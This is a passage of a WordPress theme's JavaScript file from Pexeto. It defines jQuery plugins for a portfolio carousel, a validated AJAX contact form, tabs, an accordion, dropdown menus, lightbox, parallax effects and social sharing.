holderSelector : '.pc-holder',
pageWrapperSelector : '.pc-page-wrapper',
itemSelector : '.pc-item',
titleSelector : '.portfolio-project-title',
hoverClass : 'portfolio-hover',
headerSelector : '.pc-header'
};
var o = $.extend(defaults, options),
//define some variables that will be used globally within the script
$container = $(this),
$root = $container.find(o.holderSelector).eq(0),
$items = $root.find(o.itemSelector),
$header = $container.find(o.headerSelector),
pageNumber = 0,
itemsNumber = $items.length,
currentPage = 0,
inAnimation = false,
pageWidth = $root.find(o.pageWrapperSelector).eq(0).width(),
itemsPerPage = 0,
columns = 0,
$prevArrow = null,
$nextArrow = null;
/**
* Inits the main functionality.
*/
function init() {
var defWidth = parseInt($items.eq(0).data('defwidth'), 10);
if(defWidth && defWidth>100){
o.minItemWidth = defWidth - 20;
}
pageNumber = $root.find(o.pageWrapperSelector).length;
if(pageNumber > 1) {
//show the arrows and add the animation functionality if there are
//more than one pages
buildNavigation();
}
setImageSize();
bindEventHandlers();
if(o.selfDisplay) {
$container.animate({
opacity: 1
});
}
itemsPerPage = $root.find(o.pageWrapperSelector + ':first' + ' ' + o.itemSelector).length;
}
/**
* Sets the image size according to the current wrapper width.
*/
function setImageSize() {
var itemWidth, rootWidth;
columns = Math.floor(($container.width() - o.itemMargin) / (o.minItemWidth + o.itemMargin));
if(columns <= 1) {
columns = 2;
}
itemWidth = Math.floor(($container.width() + o.itemMargin - 2 * o.shadowWidth) / columns) - o.itemMargin;
$items.width(itemWidth);
pageWidth = $root.find(o.pageWrapperSelector).eq(0).width();
rootWidth = pageNumber * pageWidth + 1000;
$root.css({
width: rootWidth
});
setNavigationVisibility();
}
/**
* Binds a change slide event handler to the root, so that it can be animated
* when any of the navigation buttons has been clicked.
*/
function bindEventHandlers() {
if(pageNumber > 1) {
//mobile device finger slide events
$root.touchwipe({
wipeLeft: doOnNextSlide,
wipeRight: doOnPreviousSlide,
preventDefaultEvents: false
});
$(window).on('resize.' + o.namespace, doOnWindowResize);
}
$root.on('destroy' + o.namespace, doOnDestroy);
}
/**
* Changes the current slide of items, to another one.
* @param {int} index the index of the new slide to show
*/
function changeSlide(index) {
if(!inAnimation) {
inAnimation = true;
var margin = getPageMarginPosition(index);
$root.animate({
marginLeft: [margin, 'easeOutExpo']
}, 800, function() {
inAnimation = false;
currentPage = index;
});
}
}
/**
* Calculates the position offset (margin) of the current slide
* according to the current wrapper width.
* @param {int} index the inex of the current slide
* @return {int} the calculated margin
*/
function getPageMarginPosition(index) {
setSizes();
return -index * (pageWidth) - o.itemMargin / 2 + o.shadowWidth;
}
function setSizes(){
setImageSize();
pageWidth = $root.find(o.pageWrapperSelector).eq(0).width();
}
/**
* On window resize event handler - resizes the wrapper and then the
* inner images according to the current window size.
*/
function doOnWindowResize() {
setSizes();
$root.css({
marginLeft: getPageMarginPosition(currentPage)
});
}
/**
* On next slide event handler - shows the next slide if there is one.
*/
function doOnNextSlide() {
if(!inAnimation){
if(!isLastPageVisible()) {
var index = currentPage < pageNumber - 1 ? currentPage + 1 : 0;
changeSlide(index);
} else {
animateLastPage(true);
}
}
}
/**
* On previous slide event handler - shows the previous slide if there
* is one.
*/
function doOnPreviousSlide() {
if(!inAnimation){
if(currentPage > 0) {
changeSlide(currentPage - 1);
} else {
animateLastPage(false);
}
}
}
/**
* Animates the carousel when there are no more slides left and the
* user still tries to open the previous/next slide - animates it in a
* way to show that there are no more slides.
* @param {boolean} last setting whether this is the last slide (when
* set to true) or the first slide (when set to false)
*/
function animateLastPage(last) {
var i = last ? -1 : 1;
$root.stop().animate({
left: i * 10
}, 100, function() {
$(this).stop().animate({
left: 0
}, 300);
});
}
/**
* Checks if the last slide/page is visible on the carousel.
* @return {boolean} true if it is visible and false if it is not
*/
function isLastPageVisible() {
if((itemsNumber - (currentPage) * itemsPerPage) <= columns) {
return true;
} else {
return false;
}
}
/**
* Checks if all of the slides/pages are visible on the carousel.
* @return {boolean} true if they are visible and false if they are not
*/
function areAllPagesVisible() {
return(itemsNumber <= columns && currentPage == 0) ? true : false;
}
/**
* Builds the navigation (arrows) to change the slides.
*/
function buildNavigation() {
//next items arrow
$prevArrow = $('<div />', {
'class': 'pc-next hover'
}).on('click.' + o.namespace, doOnNextSlide).appendTo($header);
//previous items arrow
$nextArrow = $('<div />', {
'class': 'pc-prev hover'
}).on('click.' + o.namespace, doOnPreviousSlide).appendTo($header);
}
/**
* Shows the navigation arrows when there are some slides that are not
* visible and hides them when all of the slides are visible.
*/
function setNavigationVisibility() {
if(areAllPagesVisible()) {
if($prevArrow){
$prevArrow.hide();
}
if($nextArrow){
$nextArrow.hide();
}
} else {
if($prevArrow){
$prevArrow.show();
}
if($nextArrow){
$nextArrow.show();
}
}
}
/**
* On destroy event handler- removes all the registered event listeners.
*/
function doOnDestroy() {
$(window).off('.' + o.namespace);
$root.off('.' + o.namespace);
$prevArrow.off('.' + o.namespace);
$nextArrow.off('.' + o.namespace);
}
if($root.length) {
init();
}
};
}(jQuery));
(function($) {
//CSS 3 transition support detection - code from: https://gist.github.com/jonraasch/373874
var thisBody = document.body || document.documentElement,
thisStyle = thisBody.style,
supportTransition = thisStyle.transition !== undefined || thisStyle.WebkitTransition !== undefined || thisStyle.MozTransition !== undefined || thisStyle.MsTransition !== undefined || thisStyle.OTransition !== undefined;
$.fn.pexetoTransit = function(){
var properties={},
callback = null,
namespace = 'pexetoTransit',
callbackCalled = false;
if(!arguments.length || typeof arguments[0]!=='object'){
return $(this);
}
if(supportTransition){
properties = arguments[0];
if(arguments[1]){
callback = arguments[1];
$(this).on('transitionend.'+namespace+' webkitTransitionEnd.'+namespace+' oTransitionEnd.'+namespace+' MSTransitionEnd.'+namespace, function(e){
if(!callbackCalled){
callback.call();
$(this).off(namespace);
callbackCalled = true;
}
});
}
$(this).css(properties)
}else{
$.fn.animate.apply($(this), arguments);
}
return $(this);
};
}(jQuery));
/**
* Pexeto Contact Form - contains all the contact form functionality.
* @author Pexeto
* http://pexetothemes.com
*/
(function($) {
$.fn.pexetoContactForm = function(options) {
var defaults = {
//set the default options (CAN BE OVERWRITTEN BY THE INITIALIZATION CODE)
ajaxurl : '',
invalidClass : 'invalid',
afterValidClass : 'after-validation',
captcha : false,
//selectors
submitSel : '.send-button',
errorSel : '.error-message',
statusSel : '.contact-status',
sentSel : '.sent-message',
loaderSel : '.contact-loader',
checkSel : '.check',
failSel : '.fail-message',
inputWrapperSel : '.contact-input-wrapper',
//texts
wrongCaptchaText : 'Validation failed. Please try again.',
failText : 'An error occurred. Message not sent',
validationErrorText : 'Please fill in all the fields correctly',
messageSentText : 'Message sent'
};
var o = $.extend(defaults, options);
o.ajaxurl = $(this).attr('action');
//define some variables that will be used globally within the script
var $root = $(this),
$requiredFields = $root.find('input.required, textarea.required'),
$fields = $root.find('input, textarea'),
$errorBox = $root.find(o.errorSel),
$sentBox = $root.find(o.sentSel),
$loader = $root.find(o.loaderSel),
$check = $root.find(o.checkSel);
if(o.captcha){
var $captchaWrapper = $root.find('#pexeto-recaptcha');
if(!$captchaWrapper.length){
o.captcha = false;
}
}
/**
* Inits the main functionality.
*/
function init() {
$fields.on('focus', doOnFieldsFocus);
$root.find(o.submitSel).eq(0).on('click', doOnSendClicked);
}
/**
* On send button click event handler. Sends an AJAX request to send the message if the
* entered input data is valid.
* @param {object} e the event object
*/
function doOnSendClicked(e) {
//set the send button click handler functionality
e.preventDefault();
var isValid = validateForm();
if(isValid) {
//the form is valid, send the email
$loader.css({
visibility: 'visible'
});
//hide all the message boxes
$errorBox.slideUp();
var data = $root.serialize() + '&action=pexeto_send_email';
//send the AJAX request
sendAjaxRequest(data);
}
}
/**
* Sends the AJAX request to send the message.
* @param {object} data the data needed for the request
*/
function sendAjaxRequest(data) {
$.ajax({
url: PEXETO.ajaxurl,
data: data,
dataType: 'json',
type: 'post'
}).done(function(res) {
//reset the form
$loader.css({
visibility: 'hidden'
});
if(res.success) {
//the message was sent successfully
$root.get(0).reset();
hideAfterValidationErrors();
//show the confirmation check icon
$check.css({
visibility: 'visible'
}, 200);
$sentBox.html(o.messageSentText).slideDown();
if(o.captcha){
grecaptcha.reset();
}
setTimeout(function() {
//hide the confirmation boxes
$sentBox.slideUp();
$check.css({
visibility: 'hidden'
}, 200);
}, 3000);
} else {
//the message was not sent successfully, show an error
if(o.captcha && res.captcha_failed) {
//captcha did not validate
grecaptcha.reset();
showErrorMessage(o.wrongCaptchaText);
} else {
//another error occurred, show general error message
showErrorMessage(o.failText);
}
}
}).fail(function() {
//the message was not sent successfully, show an error
$loader.css({
visibility: 'hidden'
});
showErrorMessage(o.failText);
});
}
/**
* Validates the form input.
* @return {boolean} true if the form is valid.
*/
function validateForm() {
var isValid = true;
hideValidationErrors();
$requiredFields.each(function() {
var $elem = $(this);
if($elem.attr('type') == 'checkbox' && !$elem.is(":checked")){
showError($elem);
isValid = false;
}else if(!$.trim($elem.val()) || ($elem.hasClass('email') && !isValidEmail($elem.val()))) {
//this field value is not valid display an error
showError($elem);
isValid = false;
}
});
if(o.captcha && !grecaptcha.getResponse()){
showError($captchaWrapper);
isValid = false;
}
if(!isValid) {
//show an error box
showErrorMessage(o.validationErrorText);
}
return isValid;
}
/**
* Hides all the validation errors from the required fields.
*/
function hideValidationErrors() {
$requiredFields.removeClass(o.invalidClass).removeClass(o.afterValidClass);
if(o.captcha){
$captchaWrapper.removeClass(o.invalidClass);
}
}
/**
* Hides the after validation errors and styles from the required fields. After validation
* means when there was a previous validation failure and the user after that clicks on a
* failed field, which gets a new after validation style.
*/
function hideAfterValidationErrors() {
$requiredFields.each(function() {
var $wrapper = $(this).parents(o.inputWrapperSel).eq(0),
$errorElem = $wrapper.length ? $wrapper : $(this);
$errorElem.removeClass(o.afterValidClass);
});
}
/**
* Adds an error message to an element.
* @param {object} $elem jQuery object element (input element) to which to add the message
*/
function showError($elem) {
var $wrapper = $elem.parents(o.inputWrapperSel).eq(0),
$errorElem = $wrapper.length ? $wrapper : $elem;
$errorElem.addClass(o.invalidClass);
}
/**
* Displays a fail to send message error.
*/
function showErrorMessage(message) {
$errorBox.html(message).slideDown();
}
/**
* On field focus in event handler. If the field is required and failed a validation,
* another after validation class is added to it when it gains focus.
*/
function doOnFieldsFocus() {
var $wrapper = $(this).parents(o.inputWrapperSel).eq(0),
$errorElem = $wrapper.length ? $wrapper : $(this);
if($errorElem.hasClass(o.invalidClass)) {
$errorElem.addClass(o.afterValidClass);
}
$errorElem.removeClass(o.invalidClass);
}
/**
* Checks if an email address is a valid one.
*
* @param {string} email the email address to validate
* @return {boolean} true if the address is a valid one
*/
function isValidEmail(email) {
var pattern = new RegExp(/^(("[\w-\s]+")|([\w-]+(?:\.[\w-]+)*)|("[\w-\s]+")([\w-]+(?:\.[\w-]+)*))(@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$)|(@\[?((25[0-5]\.|2[0-4][0-9]\.|1[0-9]{2}\.|[0-9]{1,2}\.))((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\.){2}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\]?$)/i);
return pattern.test(email);
}
if($root.length) {
init();
}
};
}(jQuery));
/**
* Define a placeholder check to jQuery.support
* code adapted from: http://diveintohtml5.org/detect.html#input-placeholder
*/
jQuery.support.placeholder = (function() {
var i = document.createElement('input');
return 'placeholder' in i;
})();
(function($) {
/**
* Calls a callback function when all the images from a collection have been loaded.
* A "callback" parameter should be added - the function to be called when all the
* images are loaded.
* @param {object} options object literal containing the initialization options
*
* Dependencies: jQuery (http://jquery.com/)
*
* Example usage: $('.test img').pexetoOnImgLoaded({callback:showImages});
*
* @author Pexeto
* http://pexetothemes.com
*/
$.fn.pexetoOnImgLoaded = function(options) {
var defaults = {},
o = $.extend(defaults, options),
$images = $(this),
ie = PEXETO.getBrowser().msie;
/**
* Contains the main plugin functionality - once all the images are loaded, calls the
* callback function.
*/
function init() {
var imagesNum = $images.length,
imgLoaded = 0;
if(!imagesNum) {
o.callback.call(this);
return;
}
$images.each(function() {
$(this).on('load', function(e) {
e.stopPropagation();
imgLoaded++;
if(imgLoaded === imagesNum) {
//all the images are loaded, call the callback function
o.callback.call(this);
$(this).off('load');
}
}).on('error', function(){
$(this).trigger('load');
});
if(this.complete || (ie && this.width)) {
$(this).trigger('load');
}
});
}
init();
};
}(jQuery));
(function($) {
/**
* Pexeto Tabs Widget.
* Dependencies : jQuery
*
* @author Pexeto
* http://pexetothemes.com
*/
$.fn.pexetoTabs = function(options) {
var defaults = {
//selectors and classes
tabSel : '.tabs li',
paneSel : '.panes>div',
currentClass : 'current'
},
o = $.extend(defaults, options),
$root = $(this),
$tabs = $root.find(o.tabSel),
$panes = $root.find(o.paneSel),
current = 0;
/**
* Inits the tabs - sets a click event handler to the tabs.
*/
function init() {
showSelected(0);
$root.on('click', o.tabSel, function(e) {
e.preventDefault();
var index = $tabs.index($(this));
if(index !== current) {
hideTab(current);
showSelected(index);
}
});
}
/**
* Displays the selected tab.
* @param {int} index the index of the selected tab
*/
function showSelected(index) {
$panes.eq(index).fadeIn();
$tabs.eq(index).addClass(o.currentClass);
current = index;
}
/**
* Hides a tab when a new one has been selected.
* @param {index} index the index of the tab to hide
*/
function hideTab(index) {
$panes.eq(index).hide();
$tabs.eq(index).removeClass(o.currentClass);
}
init();
};
}(jQuery));
(function($) {
/**
* Pexeto Accordion Widget.
* Dependencies : jQuery
*
* @author Pexeto
* http://pexetothemes.com
*/
$.fn.pexetoAccordion = function(options) {
var defaults = {
//selectors and classes
tabSel : '.accordion-title',
paneSel : '.pane',
currentClass : 'current'
},
o = $.extend(defaults, options),
$root = $(this),
$tabs = $root.find(o.tabSel),
$panes = $root.find(o.paneSel),
current = 0;
/**
* Inits the main functionality - registers a click event handler
* to the accordion tabs.
*/
function init() {
//display the first pane
showSelected(0);
$root.on('click', o.tabSel, function(e) {
e.preventDefault();
var index = $tabs.index($(this));
if(index !== current) {
hideTab(current).done(function() {
showSelected(index);
});
}
});
}
/**
* Displays the selected accordion tab.
* @param {int} index the index of the selected tab
*/
function showSelected(index) {
$panes.eq(index).animate({
height: 'show',
opacity: 1
});
$tabs.eq(index).addClass(o.currentClass);
current = index;
}
/**
* Hides a tab when a new one has been selected.
* @param {index} index the index of the tab to hide
*/
function hideTab(index) {
var def = new $.Deferred();
$panes.eq(index).animate({
height: 'hide',
opacity: 0
}, function() {
def.resolve();
});
$tabs.eq(index).removeClass(o.currentClass);
return def.promise();
}
init();
};
}(jQuery));
/**
* PEXETO contains the functionality for initializing all the main scripts in the
* site and also some helper functions.
*
* @type {Object}
* @author Pexeto
*/
var PEXETO = PEXETO || {};
(function($) {
$.extend(PEXETO, {
ajaxurl : '',
lightboxStyle : 'light_rounded',
masonryClass : 'page-masonry'
});
/**
* Retrieves the current browser info.
* Code from jQuery Migrate: http://code.jquery.com/jquery-migrate-1.2.0.js
* @return an object containing the browser info, for example for IE version 7
* it would return:
* {msie:true, version:7}
*/
PEXETO.getBrowser = function(){
var browser = {},
ua,
match,
matched;
if(PEXETO.browser){
return PEXETO.browser;
}
ua = navigator.userAgent.toLowerCase();
match = /(chrome)[ \/]([\w.]+)/.exec( ua ) ||
/(webkit)[ \/]([\w.]+)/.exec( ua ) ||
/(opera)(?:.*version|)[ \/]([\w.]+)/.exec( ua ) ||
/(msie) ([\w.]+)/.exec( ua ) ||
ua.indexOf("compatible") < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec( ua ) ||
[];
matched = {
browser: match[ 1 ] || "",
version: match[ 2 ] || "0"
};
if ( matched.browser ) {
browser[ matched.browser ] = true;
browser.version = matched.version;
}
// Chrome is Webkit, but Webkit is also Safari.
if ( browser.chrome ) {
browser.webkit = true;
} else if ( browser.webkit ) {
browser.safari = true;
}
PEXETO.browser = browser;
return browser;
}
/**
* Contains the init functionality.
* @type {Object}
*/
PEXETO.init = {
/**
* Inits all the main functionality. Calls all the init functions.
*/
initSite: function() {
var init = this,
clickMsg = '';
//initialize the lightbox
init.lightbox(null, {});
init.lightbox($("a[rel^='pglightbox']:not(#portfolio-slider a, #portfolio-gallery a)"), {});
init.tabs();
init.placeholder($('.placehoder'));
init.loadableImg($('img.loadable, .blog-post-img img'));
init.dropDown();
init.quickGallery();
init.carousel();
if(PEXETO.disableRightClick) {
PEXETO.utils.disableRightClick();
}
PEXETO.utils.checkIfMobile();
//wrap the sidebar categories widget number of posts text node within a span
var catSpans = $('li.cat-item, .widget_archive li').contents().filter(function() {
return this.nodeType == 3;
});
if(catSpans.length) {
catSpans.wrap($('<span />', {
'class': 'cat-number'
}));
}
//init social sharing
var $share = $('.social-share');
$share.each(function() {
PEXETO.init.share($(this));
});
init.parallax();
init.bgCoverFallback();
if(!PEXETO.utils.checkIfMobile()){
init.setScrollToTop();
}
init.ieClass();
if(PEXETO.stickyHeader){
new PEXETO.utils.stickyHeader($('#header'), {}).init();
init.ieIframeFix();
}
},
/**
* Fixes the IE ignoring of z-index on iframes.
*/
ieIframeFix : function(){
if(PEXETO.getBrowser().msie){
$('iframe').each(function() {
var url = $(this).attr("src"),
newUrl = PEXETO.url.addUrlParameter(url, 'wmode=transparent');
$(this).attr({
"src" : newUrl,
"wmode" : "Opaque"
});
});
}
},
/**
* Adds an ie10 class to Internet Explorer
* @return {[type]} [description]
*/
ieClass : function(){
var browser = PEXETO.getBrowser();
if(browser.msie && parseInt(browser.version,10)==10){
$('body').addClass('ie10');
}
},
/**
* Inits the scroll to top button functionality.
*/
setScrollToTop : function(){
var $scrollBtn = $('.scroll-to-top'),
btnDisplayed = false;
if($scrollBtn.length){
/**
* Shows or hides the scroll to top button depending on the current
* document scroll position.
*/
var setButtonVisibility = function(){
var scrollPos = $(document).scrollTop(),
winHeight = $(window).height();
if(!btnDisplayed && scrollPos > winHeight){
//display scroll button
$scrollBtn.pexetoTransit({opacity:1, marginBottom:0});
btnDisplayed = true;
}else if(btnDisplayed && scrollPos < winHeight){
$scrollBtn.pexetoTransit({opacity:0, marginBottom:-30});
btnDisplayed = false;
}
};
$(window).on('mousewheel', setButtonVisibility);
setButtonVisibility();
$scrollBtn.on('click', function(){
$.scrollTo($('#main-container'), {
duration: 1000,
easing: 'easeOutSine',
offset: {
top: 0
},
onAfter:function(){
setButtonVisibility();
$(window).trigger('pexetoscroll');
}
});
});
}
},
/**
* Inits the fallback functionality for the CSS background-size:cover
*/
bgCoverFallback : function(){
if(PEXETO.getBrowser().msie && PEXETO.getBrowser().version<=8){
$('.full-bg-image').each(function(){
new PEXETO.utils.bgCoverFallback($(this)).init();
});
}
},
/**
* Inits the parallax animation effect for some elements,
*/
parallax : function(){
//init the full-width backfround image parallax
if(!PEXETO.utils.checkIfMobile()){
$('.parallax-scroll .full-bg-image').each(function(){
new PEXETO.parallax(
$(this),
'background',
{}
).init();
});
}
//init the services boxes parallax
$('.pexeto-parallax .sl-icons').each(function(){
new PEXETO.parallax(
$(this),
'list',
{
children:$(this).find('li'),
initProp : {opacity:0, marginLeft:50},
endProp: {opacity:1, marginLeft:0}
}
).init();
});
//init the services boxes list parallax
$('.services-wrapper.pexeto-parallax').each(function(){
new PEXETO.parallax(
$(this),
'list',
{
children:$(this).find('.services-box'),
initProp : {opacity:0, top:50, position:'relative'},
endProp: {opacity:1, top:0}
}
).init();
});
//init the testimonial parallax
$('.testimonial-container.pexeto-parallax').each(function(){
new PEXETO.parallax(
$(this),
'list',
{
children : $(this).find('blockquote, img.testimonial-img, .testimonials-details'),
initProp : {opacity:0, top:50, position:'relative'},
endProp:{opacity:1, top:0}
}
).init();
});
},
/**
* Inits the PrettyPhoto plugin lightbox.
* @param {object} $el element or set of elements to which the lightbox will be loaded
*/
lightbox: function($el, add_options) {
$el = $el || $("a[rel^='lightbox'],a[rel^='lightbox[group]']");
var defaults = {
animation_speed: 'normal',
theme: PEXETO.lightboxStyle,
overlay_gallery: false,
slideshow: false,
social_tools: ''
},
options = $.extend(defaults, PEXETO.lightboxOptions);
if(!$.isEmptyObject(add_options)){
options = $.extend(options, add_options);
}
$el.prettyPhoto(options);
},
/**
* Inits a placeholder functionality for browsers that don't support placeholder.
* @param {object} $el element or set of elements to which this functionality
* will be initialized.
*/
placeholder: function($el) {
if(!$.support.placeholder) {
$el.each(function() {
$(this).attr('value', $(this).attr('placeholder'));
}).on('focusin', function() {
$(this).attr('value', $(this).attr('placeholder'));
}).on('focusout', function() {
$(this).attr('value', '');
});
}
},
/**
* Inits the tabs and accordion functionality.
*/
tabs: function() {
//set the tabs functionality
$('.tabs-container').each(function(){
$(this).pexetoTabs();
});
//set the accordion functionality
$('.accordion-container').each(function(){
$(this).pexetoAccordion();
});
},
/**
* Inits the portfolio items carousel
*/
carousel: function() {
var isSinglePortfolio = $('body').hasClass('single-portfolio');
if(!isSinglePortfolio
|| (isSinglePortfolio && !$('#portfolio-slider').length)) {
$('.portfolio-carousel').each(function() {
$(this).pexetoCarousel();
});
}
},
/**
* Makes an image get displayed once it is loaded in a fade in animation.
* @param {object} $el jQuery object or list of objects that contains
* the loadable images. Each image must have a div parent from the
* "img-loading" class which has a min-width and min-height set to it.
*/
loadableImg: function($el) {
if($el.length) {
$el.each(function() {
$(this).pexetoOnImgLoaded({
callback: function() {
$(this).animate({
opacity: 1
}).parents('div.img-loading:first').css({
minWidth: 0,
minHeight: 0
});
}
});
})
}
},
/**
* Inits the quick gallery functionality. Loads the masonry script if
* the masonry option has been enabled.
*/
quickGallery: function() {
$('.quick-gallery').each(function() {
var $gallery = $(this),
masonry = $gallery.hasClass(PEXETO.masonryClass);
new PEXETO.utils.resizableImageGallery('.qg-img',
{
masonry:masonry,
parent:$gallery
}).init();
});
},
/**
* Loads the Nivo slider.
* @param {object} $el jQuery element which will contain the
* slider images
* @param {object} options object literal containing the slider
* initialization options
*/
nivoSlider: function($el, options) {
var animation = options.animation;
if(options.animation){
var animArray = _.without(options.animation.split(','),
'boxRain','boxRainReverse');
animation = animArray.join(',');
}
if(!animation){
animation = 'fade';
}
// loads the Nivo slider
var loadSlider = function() {
$el.nivoSlider({
effect: animation,
// Specify sets like:
// 'fold,fade,sliceDown'
slices: options.slices,
//For slice animations
boxCols: options.columns,
// For box animations
boxRows: options.rows,
// For box animations
animSpeed: options.speed,
pauseTime: options.interval,
startSlide: 0,
// Set starting Slide (0 index)
directionNav: options.arrows,
// Next & Prev
directionNavHide: false,
// Only show on hover
controlNav: options.buttons,
// 1,2,3...
controlNavThumbs: false,
// Use thumbnails for
// Control
// Nav
controlNavThumbsFromRel: false,
// Use image rel for
// thumbs
keyboardNav: true,
// Use left & right arrows
pauseOnHover: options.pauseOnHover,
// Stop animation while hovering
manualAdvance: !options.autoplay,
// Force manual transitions
captionOpacity: 0.8,
// Universal caption opacity
beforeChange: function() {},
afterChange: function() {},
slideshowEnd: function() {} // Triggers after all slides have been shown
}).css({
minHeight: 0
});
// remove numbers from navigation
$('.nivo-controlNav a').html('');
$('.nivo-directionNav a').html('');
};
if(!PEXETO.getBrowser().msie) {
//load the slider once the images get loaded
$el.find('img').pexetoOnImgLoaded({
callback: loadSlider
});
} else {
loadSlider();
}
},
/**
* Inits the sharing functionality. Uses the Sharrre script for the
* sharing functionality.
* @param {object} $wrapper a jQuery object wrapper that wraps the
* sharing buttons
*/
share: function($wrapper) {
if(!$wrapper.length) {
return;
}
$wrapper.find('.share-item').each(function() {
var $el = $(this),
type = $el.data('type'),
title = $el.data('title'),
url = $el.data('url'),
args = {
url: url,
title: title,
share: {},
template: '<div></div>',
enableHover: false,
enableTracking: false,
urlCurl: '',
buttons: {},
click: function(api, options) {
api.simulateClick();
api.openPopup(type);
}
};
args.share[type] = true;
if(type === 'googlePlus') {
//set the language attribute for Google+
args.buttons.googlePlus = {
lang: $el.data('lang')
};
} else if(type === 'pinterest') {
//set an image URL and a description to share on Pinterest
args.buttons.pinterest = {
media: $el.data('media'),
description: title
};
}
$el.sharrre(args);
});
},
/**
* Inits the drop-down menu functionality.
*/
dropDown: function() {
var $menu = $('#menu'),
initMenu = function(){
var logoHeight = $('#logo-container a').height(),
br = PEXETO.getBrowser(),
brPadding = br.mozilla || br.msie ? 22 : 23,
btStickyPadding = br.mozilla || br.msie ? 9 : 10,
padding = logoHeight > 50 ? 1 : brPadding,
defPadding = padding,
//default menu top offset
top = $menu.find('li:first').outerHeight(),
onMenuMouseover = function() {
var $el = $(this),
$ul = $el.find('ul:first'),
left = $el.width(),
parentUlNum = $ul.parents('ul').length,
elWidth = $el.width(),
ulWidth = $ul.width(),
winWidth = $(window).width(),
elOffset = $el.offset().left;
$el.addClass('hovered');
if(parentUlNum > 1 && (elWidth + ulWidth + elOffset > winWidth)) {
//if the drop down ul goes beyound the screen, move it on the left side
$ul.css({
left: -elWidth
});
} else if(parentUlNum === 1) {
if(ulWidth + elOffset > winWidth) {
$ul.css({
left: (winWidth - 3 - (ulWidth + elOffset))
});
} else {
$ul.css({
left: 0
});
}
}
if(parentUlNum === 1) {
$ul.data('padding', padding);
}
$ul.stop().css({
height: 'auto',
paddingTop: 0,
top: ($ul.data('padding') + $ul.data('top'))
}).slideToggle({duration:300, easing:'easeOutExpo', complete: function() {
$ul.css({
overflow: 'visible',
visibility: 'visible',
paddingTop: $ul.data('padding'),
top: $ul.data('top')
});
}
});
},
onMenuMouseout = function() {
var $el = $(this),
$ul = $el.find('ul:first');
$el.removeClass('hovered');
$ul.stop().css({
paddingTop: 0,
top: ($ul.data('padding') + $ul.data('top'))
}).slideToggle({duration:300, easing:'easeOutExpo', complete: function() {
$ul.css({
overflow: 'hidden',
display: 'none'
});
}
});
};
if(PEXETO.getBrowser().webkit){
padding+=1;
}
$menu.find('ul ul').data('padding', padding).data('top', top);
$menu.find('ul ul ul').data('padding', 0).data('top', 0);
var setPadding = function(){
padding = $('body').hasClass('fixed-header-scroll') ? btStickyPadding : defPadding;
};
setPadding();
$(window).on('pexetostickychange', setPadding);
$menu.find('ul li').has('ul').each(function() {
var $el = $(this);
$el.hoverIntent({
over:onMenuMouseover,
out:onMenuMouseout,
interval:'20'}).append('<span class="drop-arrow"></span>');
});
}
//SET THE SMALL RESOLUTION MENU
this.smallMenu();
if($menu.is(':visible')){
initMenu();
}else{
$(window).on('resize.pexetodropdown', function(){
if($menu.is(':visible')){
initMenu();
$(window).off('.pexetodropdown');
}
});
}
},
/**
* Inits the drop-down menu for small screen devices.
*/
smallMenu: function() {
var menuClass = 'mob-nav-menu',
precedingElSel = '.section-header',
menuSel = '#menu',
$menuBtn = $('.mob-nav-btn'),
opened = false,
inAnimation = false,
$menu = $('<div />', {
'class': menuClass,
html: $(menuSel).html()
});
$menuBtn.on('click', function() {
if(!inAnimation) {
if(!opened) {
inAnimation = true;
$menu.insertAfter(precedingElSel).animate({
height: 'show'
}, function() {
opened = true;
inAnimation = false;
});
} else {
inAnimation = true;
$menu.animate({
height: 'hide'
}, function() {
$(this).detach();
opened = false;
inAnimation = false;
});
}
}
});
$(window).on('resize', function(){
if(!$menuBtn.is(':visible') && ($menu && opened)){
$menu.hide().detach();
opened = false;
}
});
},
blogMasonry : function(cols){
var spacing = 30,
$parent = $('.'+PEXETO.masonryClass),
setColumnWidth = function(){
var curCols = cols,
containerWidth = $parent.width();
if(containerWidth <= 600){
curCols = 1;
}else if(containerWidth>600 && containerWidth<=800){
curCols = 2;
}
var width = Math.floor((containerWidth - (curCols-1)*spacing) / curCols) -1;
$parent.find('.post').width(width);
return width;
};
setColumnWidth();
$parent.masonry({
itemSelector:'.post',
gutter: spacing,
transitionDuration : 0
});
$parent.find('img').each(function() {
$(this).imagesLoaded(function() {
$parent.masonry('layout');
});
});
$(window).on('resize', function(){
setColumnWidth();
$parent.masonry('layout');
});
}
};
/**
* Parallax class - contains methods to apply various parallax animations
* to an element or set of elemements.
* @param {object} $el the element to apply the animation to
* @param {string} type the type of animation - available options:
* - background : animates a background image, changes its position on scroll
* - list : animates a list of items, one after another
* - single : animates a single item
* @param {object} options options for the animation. Properties:
* - children : a list of elements to animate when the type of animation
* is set to list
* - initProp : object containing a set of CSS properties that are applied
* to each element before the animation starts
* - endProp : object containing a set of CSS properties that are applied
* to each element to be animated
*/
PEXETO.parallax = function($el, type, options){
this.$el = $el;
this.type = type;
this.options = options;
};
/**
* Inits the parallax functionality. Calls the corresponding animation
* method depending on the type of effect selected.
*/
PEXETO.parallax.prototype.init = function(){
var self = this,
funcToExec = {
'background' : 'setBackground',
'list' : 'setList',
'single' : 'setSingleElement'
};
if(self.type in funcToExec){
PEXETO.parallax.prototype[funcToExec[self.type]].call(this);
}
};
/**
* Sets a parallax background image functionality. Moves the image position
* on mouse scroll.
*/
PEXETO.parallax.prototype.setBackground = function(){
var self = this,
$el = self.$el,
$parent = $el.parent(),
waypoints = {},
maxTop = 60,
numSteps = 100,
topStep = maxTop/numSteps,
initWaypoint = 90,
endWaypoint = 120,
waypointStep = Math.floor((initWaypoint+endWaypoint) / numSteps);
//generate an array containing waypoints and the corresponding data
for(var i=0; i<numSteps; i++){
waypoints[initWaypoint-i*waypointStep] = '-'+((i+1)*topStep)+'%';
}
_.each(waypoints, function(top, waypoint){
$parent.waypoint(function(direction){
$el.stop().pexetoTransit({top:top});
}, {offset:waypoint+'%'});
});
};
/**
* Registers a single element parallax animation. The "initProp" and
* "endProp" properties should be set to the constructor's options object.
*/
PEXETO.parallax.prototype.setSingleElement = function(){
var self = this,
$el = self.$el;
$el.css(self.options.initProp)
.waypoint(function(){
$el.addClass('animated-element')
.pexetoTransit(self.options.endProp)
.waypoint('destroy');
}, {'offset':'90%'});
};
/**
* Registers a list of elements parallax animation. The "initProp" and
* "endProp" properties should be set to the constructor's options object
